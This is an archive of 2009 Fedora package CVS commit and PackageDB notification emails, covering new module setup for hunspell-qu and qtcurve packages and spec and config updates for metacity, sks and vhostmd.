Message-ID: <20091015172709.1753C11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hunspell-qu
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb19072/rpms/hunspell-qu

Log Message:
Directory /cvs/pkgs/rpms/hunspell-qu added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:27:09 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:27:09 +0000 (UTC)
Subject: rpms/hunspell-qu/devel - New directory
Message-ID: <20091015172709.3B29111C0298@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hunspell-qu/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb19072/rpms/hunspell-qu/devel

Log Message:
Directory /cvs/pkgs/rpms/hunspell-qu/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:27:16 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:27:16 +0000 (UTC)
Subject: rpms/hunspell-qu Makefile,NONE,1.1
Message-ID: <20091015172716.19BB911C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hunspell-qu
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb19072/rpms/hunspell-qu

Added Files:
	Makefile 
Log Message:
Setup of module hunspell-qu


--- NEW FILE Makefile ---
# Top level Makefile for module hunspell-qu
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 15 17:27:16 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:27:16 +0000 (UTC)
Subject: rpms/hunspell-qu/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091015172716.5481511C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hunspell-qu/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb19072/rpms/hunspell-qu/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module hunspell-qu


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: hunspell-qu
# $Id: Makefile,v 1.1 2009/10/15 17:27:16 kevin Exp $
NAME := hunspell-qu
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 15 17:27:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:27:55 +0000
Subject: [pkgdb] qtcurve-kde4 was added for thomasj
Message-ID: <20091015172755.2DE4E10F85F@bastion2.fedora.phx.redhat.com>

kevin has added Package qtcurve-kde4 with summary This is a set of widget styles for Qt4/KDE4 based apps
kevin has approved Package qtcurve-kde4
kevin has added a Fedora devel branch for qtcurve-kde4 with an owner of thomasj
kevin has approved qtcurve-kde4 in Fedora devel
kevin has approved Package qtcurve-kde4
kevin has set commit to Approved for 107427 on qtcurve-kde4 (Fedora devel)
kevin has set checkout to Approved for 107427 on qtcurve-kde4 (Fedora devel)
kevin has set build to Approved for 107427 on qtcurve-kde4 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 15 17:27:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:27:56 +0000
Subject: [pkgdb] qtcurve-kde4 summary updated by kevin
Message-ID: <20091015172756.C795510F8A4@bastion2.fedora.phx.redhat.com>

kevin set package qtcurve-kde4 summary to This is a set of widget styles for Qt4/KDE4 based apps

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 15 17:27:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:27:56 +0000
Subject: [pkgdb] qtcurve-kde4 (Fedora, 10) updated by kevin
Message-ID: <20091015172756.CFD7210F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for qtcurve-kde4
kevin has set commit to Approved for 107427 on qtcurve-kde4 (Fedora 11)
kevin has set checkout to Approved for 107427 on qtcurve-kde4 (Fedora 11)
kevin has set build to Approved for 107427 on qtcurve-kde4 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 15 17:27:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:27:56 +0000
Subject: [pkgdb] qtcurve-kde4 (Fedora, 10) updated by kevin
Message-ID: <20091015172756.E2E9D10F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for qtcurve-kde4
kevin has set commit to Approved for 107427 on qtcurve-kde4 (Fedora 12)
kevin has set checkout to Approved for 107427 on qtcurve-kde4 (Fedora 12)
kevin has set build to Approved for 107427 on qtcurve-kde4 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 15 17:27:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:27:56 +0000
Subject: [pkgdb] qtcurve-kde4 (Fedora, 10) updated by kevin
Message-ID: <20091015172756.EC6ED10F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for qtcurve-kde4
kevin has set commit to Approved for 107427 on qtcurve-kde4 (Fedora 10)
kevin has set checkout to Approved for 107427 on qtcurve-kde4 (Fedora 10)
kevin has set build to Approved for 107427 on qtcurve-kde4 (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From kevin at fedoraproject.org  Thu Oct 15 17:28:04 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:28:04 +0000 (UTC)
Subject: rpms/qtcurve-kde4 - New directory
Message-ID: <20091015172804.1E10111C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/qtcurve-kde4
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvss19459/rpms/qtcurve-kde4

Log Message:
Directory /cvs/pkgs/rpms/qtcurve-kde4 added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:28:04 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:28:04 +0000 (UTC)
Subject: rpms/qtcurve-kde4/devel - New directory
Message-ID: <20091015172804.4695211C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/qtcurve-kde4/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvss19459/rpms/qtcurve-kde4/devel

Log Message:
Directory /cvs/pkgs/rpms/qtcurve-kde4/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:28:11 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:28:11 +0000 (UTC)
Subject: rpms/qtcurve-kde4 Makefile,NONE,1.1
Message-ID: <20091015172811.A6B2F11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/qtcurve-kde4
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvss19459/rpms/qtcurve-kde4

Added Files:
	Makefile 
Log Message:
Setup of module qtcurve-kde4


--- NEW FILE Makefile ---
# Top level Makefile for module qtcurve-kde4
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From mclasen at fedoraproject.org  Thu Oct 15 17:28:01 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu, 15 Oct 2009 17:28:01 +0000 (UTC)
Subject: rpms/metacity/F-12 workspaces.patch, NONE, 1.1 metacity.spec, 1.203,
	1.204
Message-ID: <20091015172801.B631E11C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/metacity/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19214

Modified Files:
	metacity.spec 
Added Files:
	workspaces.patch 
Log Message:
Tweak default configuration


workspaces.patch:
 metacity.schemas.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE workspaces.patch ---
diff -up metacity-2.28.0/src/metacity.schemas.in.workspaces metacity-2.28.0/src/metacity.schemas.in
--- metacity-2.28.0/src/metacity.schemas.in.workspaces	2009-10-15 13:23:14.909411794 -0400
+++ metacity-2.28.0/src/metacity.schemas.in	2009-10-15 13:23:51.218400104 -0400
@@ -295,7 +295,7 @@
       <applyto>/apps/metacity/general/num_workspaces</applyto>      
       <owner>metacity</owner>
       <type>int</type>
-      <default>4</default>
+      <default>2</default>
       <locale name="C">
         <short>Number of workspaces</short>
         <long>


Index: metacity.spec
===================================================================
RCS file: /cvs/pkgs/rpms/metacity/F-12/metacity.spec,v
retrieving revision 1.203
retrieving revision 1.204
diff -u -p -r1.203 -r1.204
--- metacity.spec	22 Sep 2009 19:45:40 -0000	1.203
+++ metacity.spec	15 Oct 2009 17:28:01 -0000	1.204
@@ -1,7 +1,7 @@
 Summary: Unobtrusive window manager
 Name: metacity
 Version: 2.28.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 URL: http://download.gnome.org/sources/metacity/
 Source0: http://download.gnome.org/sources/metacity/2.28/metacity-%{version}.tar.bz2
 # http://bugzilla.gnome.org/show_bug.cgi?id=558723
@@ -17,6 +17,9 @@ Patch8: 0001-sound-ask-libcanberra-to-ca
 # http://bugzilla.gnome.org/show_bug.cgi?id=593358
 Patch9: 0001-tooltip-set-window-type-hint-for-self-drawn-tooltips.patch
 
+# fedora specific patches
+Patch10: workspaces.patch
+
 License: GPLv2+
 Group: User Interface/Desktops
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -81,6 +84,7 @@ API. This package exists purely for tech
 %patch7 -p1 -b .bell
 %patch8 -p1 -b .sound-cache
 %patch9 -p1 -b .tooltip
+%patch10 -p1 -b .workspaces
 
 # force regeneration
 rm src/metacity.schemas
@@ -188,6 +192,9 @@ fi
 %{_mandir}/man1/metacity-window-demo.1.gz
 
 %changelog
+* Thu Oct 15 2009 Matthias Clasen <mclasen at redhat.cm> - 2.28.0-2
+- Tweak the default number of workspaces
+
 * Tue Sep 22 2009 Matthias Clasen <mclasen at redhat.cm> - 2.28.0-1
 - Update to 2.28.0
 



From kevin at fedoraproject.org  Thu Oct 15 17:28:11 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:28:11 +0000 (UTC)
Subject: rpms/qtcurve-kde4/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091015172811.E641411C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/qtcurve-kde4/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvss19459/rpms/qtcurve-kde4/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module qtcurve-kde4


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: qtcurve-kde4
# $Id: Makefile,v 1.1 2009/10/15 17:28:11 kevin Exp $
NAME := qtcurve-kde4
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From nb at fedoraproject.org  Thu Oct 15 17:28:09 2009
From: nb at fedoraproject.org (Nick Bebout)
Date: Thu, 15 Oct 2009 17:28:09 +0000 (UTC)
Subject: rpms/sks/devel sks-1.1.1-libdb.patch, NONE, 1.1 sks.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015172809.22E4011C00DB@cvs1.fedora.phx.redhat.com>

Author: nb

Update of /cvs/pkgs/rpms/sks/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19342

Modified Files:
	.cvsignore sources 
Added Files:
	sks-1.1.1-libdb.patch sks.spec 
Log Message:
Initial commit of sks 1.1.1


sks-1.1.1-libdb.patch:
 Makefile.local.unused |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE sks-1.1.1-libdb.patch ---
Common subdirectories: sks-1.1.1/bdb and sks-1.1.1-patched/bdb
diff -u sks-1.1.1/Makefile.local.unused sks-1.1.1-patched/Makefile.local.unused
--- sks-1.1.1/Makefile.local.unused	2009-03-25 20:18:03.000000000 -0500
+++ sks-1.1.1-patched/Makefile.local.unused	2009-10-13 16:54:17.835163112 -0500
@@ -1,7 +1,7 @@
 BDBLIB=-L/usr/lib
 BDBINCLUDE=-I/usr/include
 PREFIX=/usr/local
-LIBDB=-ldb-4.6
+LIBDB=-ldb-4.7
 MANDIR=/usr/share/man
 export BDBLIB
 export BDBINCLUDE


--- NEW FILE sks.spec ---
Summary:        Synchronizing Key Server
Name:           sks
Version:        1.1.1
Release:        2%{?dist}
License:        GPLv2+
Group:          System Environment/Daemons
URL:            http://code.google.com/p/sks-keyserver/
Source0:        http://sks-keyserver.googlecode.com/files/sks-1.1.1.tgz
Patch0:         sks-1.1.1-libdb.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root
BuildRequires:  ocaml ocaml-camlp4-devel db4-devel zlib-devel chrpath

%description
SKS is a OpenPGP keyserver whose goal is to provide easy to
deploy, decentralized, and highly reliable synchronization.

%prep
%setup -q
%patch0 -p1

%build
%__mv Makefile.local.unused Makefile.local
%__make dep
%__make CFLAGS="$RPM_OPT_FLAGS -I`ocamlc -where` -I ." all

%install
%__rm -Rf "%{buildroot}"
%__make install PREFIX="%{buildroot}%{_prefix}" MANDIR="%{buildroot}%{_mandir}"
chmod -x %{buildroot}%{_mandir}/man8/sks.8.gz
chrpath --delete %{buildroot}%{_bindir}/sks

%clean
%__rm -Rf "%{buildroot}"

%files
%defattr(-,root,root)
%doc BUGS CHANGELOG COPYING FILES README TODO VERSION
%{_bindir}/sks
%{_bindir}/sks_build.sh
%{_bindir}/sks_add_mail
%{_mandir}/man8/sks.8.gz

%changelog
* Wed Oct 14 2009 Nick Bebout <nb at fedoraproject.org> - 1.1.1-2
- Add CFLAGS to make all
* Tue Oct 13 2009 Nick Bebout <nb at fedoraproject.org> - 1.1.1-1
- Initial Fedora package based on 1.1.1 of sks


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sks/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:15:48 -0000	1.1
+++ .cvsignore	15 Oct 2009 17:28:08 -0000	1.2
@@ -0,0 +1 @@
+sks-1.1.1.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sks/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:15:48 -0000	1.1
+++ sources	15 Oct 2009 17:28:09 -0000	1.2
@@ -0,0 +1 @@
+120361b88cf6820c108c6746ac464488  sks-1.1.1.tgz



From pkgdb at fedoraproject.org  Thu Oct 15 17:28:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:28:27 +0000
Subject: [pkgdb] qtcurve-gtk2 summary updated by kevin
Message-ID: <20091015172827.95C4B10F889@bastion2.fedora.phx.redhat.com>

kevin set package qtcurve-gtk2 summary to This is a set of widget styles for Gtk2 based apps

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 15 17:28:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:28:25 +0000
Subject: [pkgdb] qtcurve-gtk2 was added for thomasj
Message-ID: <20091015172826.8BA5410F85F@bastion2.fedora.phx.redhat.com>

kevin has added Package qtcurve-gtk2 with summary This is a set of widget styles for Gtk2 based apps
kevin has approved Package qtcurve-gtk2
kevin has added a Fedora devel branch for qtcurve-gtk2 with an owner of thomasj
kevin has approved qtcurve-gtk2 in Fedora devel
kevin has approved Package qtcurve-gtk2
kevin has set commit to Approved for 107427 on qtcurve-gtk2 (Fedora devel)
kevin has set checkout to Approved for 107427 on qtcurve-gtk2 (Fedora devel)
kevin has set build to Approved for 107427 on qtcurve-gtk2 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 15 17:28:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:28:27 +0000
Subject: [pkgdb] qtcurve-gtk2 (Fedora, 10) updated by kevin
Message-ID: <20091015172827.9CE7210F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for qtcurve-gtk2
kevin has set commit to Approved for 107427 on qtcurve-gtk2 (Fedora 11)
kevin has set checkout to Approved for 107427 on qtcurve-gtk2 (Fedora 11)
kevin has set build to Approved for 107427 on qtcurve-gtk2 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 15 17:28:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:28:27 +0000
Subject: [pkgdb] qtcurve-gtk2 (Fedora, 10) updated by kevin
Message-ID: <20091015172827.A6BD610F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for qtcurve-gtk2
kevin has set commit to Approved for 107427 on qtcurve-gtk2 (Fedora 10)
kevin has set checkout to Approved for 107427 on qtcurve-gtk2 (Fedora 10)
kevin has set build to Approved for 107427 on qtcurve-gtk2 (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 15 17:28:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:28:27 +0000
Subject: [pkgdb] qtcurve-gtk2 (Fedora, 10) updated by kevin
Message-ID: <20091015172827.AD69210F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for qtcurve-gtk2
kevin has set commit to Approved for 107427 on qtcurve-gtk2 (Fedora 12)
kevin has set checkout to Approved for 107427 on qtcurve-gtk2 (Fedora 12)
kevin has set build to Approved for 107427 on qtcurve-gtk2 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From kevin at fedoraproject.org  Thu Oct 15 17:28:38 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:28:38 +0000 (UTC)
Subject: rpms/qtcurve-gtk2 - New directory
Message-ID: <20091015172838.C595511C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/qtcurve-gtk2
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsN19900/rpms/qtcurve-gtk2

Log Message:
Directory /cvs/pkgs/rpms/qtcurve-gtk2 added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:28:39 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:28:39 +0000 (UTC)
Subject: rpms/qtcurve-gtk2/devel - New directory
Message-ID: <20091015172839.3D77611C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/qtcurve-gtk2/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsN19900/rpms/qtcurve-gtk2/devel

Log Message:
Directory /cvs/pkgs/rpms/qtcurve-gtk2/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:28:55 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:28:55 +0000 (UTC)
Subject: rpms/qtcurve-gtk2 Makefile,NONE,1.1
Message-ID: <20091015172855.7DBE211C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/qtcurve-gtk2
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsN19900/rpms/qtcurve-gtk2

Added Files:
	Makefile 
Log Message:
Setup of module qtcurve-gtk2


--- NEW FILE Makefile ---
# Top level Makefile for module qtcurve-gtk2
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 15 17:28:56 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:28:56 +0000 (UTC)
Subject: rpms/qtcurve-gtk2/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091015172856.0BC7111C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/qtcurve-gtk2/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsN19900/rpms/qtcurve-gtk2/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module qtcurve-gtk2


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: qtcurve-gtk2
# $Id: Makefile,v 1.1 2009/10/15 17:28:55 kevin Exp $
NAME := qtcurve-gtk2
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From rjones at fedoraproject.org  Thu Oct 15 17:29:09 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu, 15 Oct 2009 17:29:09 +0000 (UTC)
Subject: rpms/vhostmd/devel sources, 1.2, 1.3 vhostmd.conf, 1.1,
	1.2 vhostmd.init, 1.1, 1.2 vhostmd.spec, 1.1,
	1.2 vhostmd.sysconfig, 1.1,
	1.2 0001-Further-changes-to-avoid-using-xenstore.patch, 1.1, NONE
Message-ID: <20091015172909.D81CF11C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/vhostmd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20286

Modified Files:
	sources vhostmd.conf vhostmd.init vhostmd.spec 
	vhostmd.sysconfig 
Removed Files:
	0001-Further-changes-to-avoid-using-xenstore.patch 
Log Message:
* Thu Oct 15 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.2.gitea2f772d
- New upstream based on git ea2f772d.
- Update the configuration file based on upstream changes to how virsh
  has to be run.
- vhostmd should run non-root as user 'vhostmd'.
- Allow libvirt URI to be configured.



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	13 Oct 2009 17:57:10 -0000	1.2
+++ sources	15 Oct 2009 17:29:08 -0000	1.3
@@ -1 +1 @@
-3e96ae064b7accaea68160d48379c92f  vhostmd-0.4.tar.bz2
+e241097003a7a8eb1898fcc152581596  vhostmd-0.4.tar.bz2


Index: vhostmd.conf
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/devel/vhostmd.conf,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vhostmd.conf	13 Oct 2009 17:57:10 -0000	1.1
+++ vhostmd.conf	15 Oct 2009 17:29:08 -0000	1.2
@@ -43,19 +43,19 @@ within the vm element.
     </metric>
     <metric type="string" context="host">
       <name>VirtualizationProductInfo</name>
-      <action>virsh version | grep API | gawk -F': ' '{print $2}'</action>
+      <action>virsh -r CONNECT version | grep API | gawk -F': ' '{print $2}'</action>
     </metric>
     <metric type="uint32" context="host">
       <name>TotalPhyCPUs</name>
-      <action>virsh nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
+      <action>virsh -r CONNECT nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
     </metric>
     <metric type="uint32" context="host">
       <name>NumCPUs</name>
-      <action>virsh nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
+      <action>virsh -r CONNECT nodeinfo | grep 'CPU(s):' | gawk -F': +' '{print $2}'</action>
     </metric>
     <metric type="uint64" context="host">
       <name>TotalPhyMem</name>
-      <action>virsh nodeinfo | grep 'Memory size:' | gawk -F' +' '{print $3}'</action>
+      <action>virsh -r CONNECT nodeinfo | grep 'Memory size:' | gawk -F' +' '{print $3}'</action>
     </metric>
     <metric type="uint64" context="host">
       <name>UsedMem</name>
@@ -81,12 +81,12 @@ within the vm element.
     </metric>
     <!--<metric type="real64" context="host">
 		<name>TotalCPUTime</name>
-		<action>virsh dominfo 0 | sed 's/: */:/' | \
+		<action>virsh -r CONNECT dominfo 0 | sed 's/: */:/' | \
                   gawk -F: '/CPU time/ {print $2;}'</action>
     </metric>-->
     <metric type="real64" context="vm">
       <name>TotalCPUTime</name>
-      <action>virsh dominfo NAME | sed 's/: */:/' | \
+      <action>virsh -r CONNECT dominfo NAME | sed 's/: */:/' | \
         gawk -F: '/CPU time/ {print $2;}'</action>
     </metric>
   </metrics>


Index: vhostmd.init
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/devel/vhostmd.init,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vhostmd.init	13 Oct 2009 17:57:10 -0000	1.1
+++ vhostmd.init	15 Oct 2009 17:29:08 -0000	1.2
@@ -30,6 +30,12 @@ fi
 if [ -n "$VHOSTMD_CONFIG" ]; then
     ARGS="$ARGS --config $VHOSTMD_CONFIG"
 fi
+if [ -n "$VHOSTMD_USER" ]; then
+    ARGS="$ARGS --user $VHOSTMD_USER"
+fi
+if [ -n "$VHOSTMD_URI" ]; then
+    ARGS="$ARGS --connect $VHOSTMD_URI"
+fi
 
 lockfile=/var/lock/subsys/$prog
 


Index: vhostmd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/devel/vhostmd.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vhostmd.spec	13 Oct 2009 17:57:10 -0000	1.1
+++ vhostmd.spec	15 Oct 2009 17:29:08 -0000	1.2
@@ -8,7 +8,7 @@
 Summary:       Virtualization host metrics daemon
 Name:          vhostmd
 Version:       0.4
-Release:       0.1.git326f0012172%{?dist}
+Release:       0.2.gitea2f772d%{?dist}
 License:       GPLv2+
 Group:         System Environment/Daemons
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root
@@ -16,24 +16,18 @@ BuildRoot:     %{_tmppath}/%{name}-%{ver
 URL:           http://gitorious.org/vhostmd
 
 # Upstream tarball hosting is screwed at the moment.  This release is
-# a pre-release of 0.4, based on git 326f00121729760c0236ef1b56b905f85470c740
-# with 'make dist' done by the packager.
+# a pre-release of 0.4, based on the git commit names in the Release
+# tag above, with 'make dist' done by the packager.
 Source0:       vhostmd-%{version}.tar.bz2
 Source1:       vhostmd.init
 Source2:       vhostmd.sysconfig
 Source3:       vhostmd.conf
 
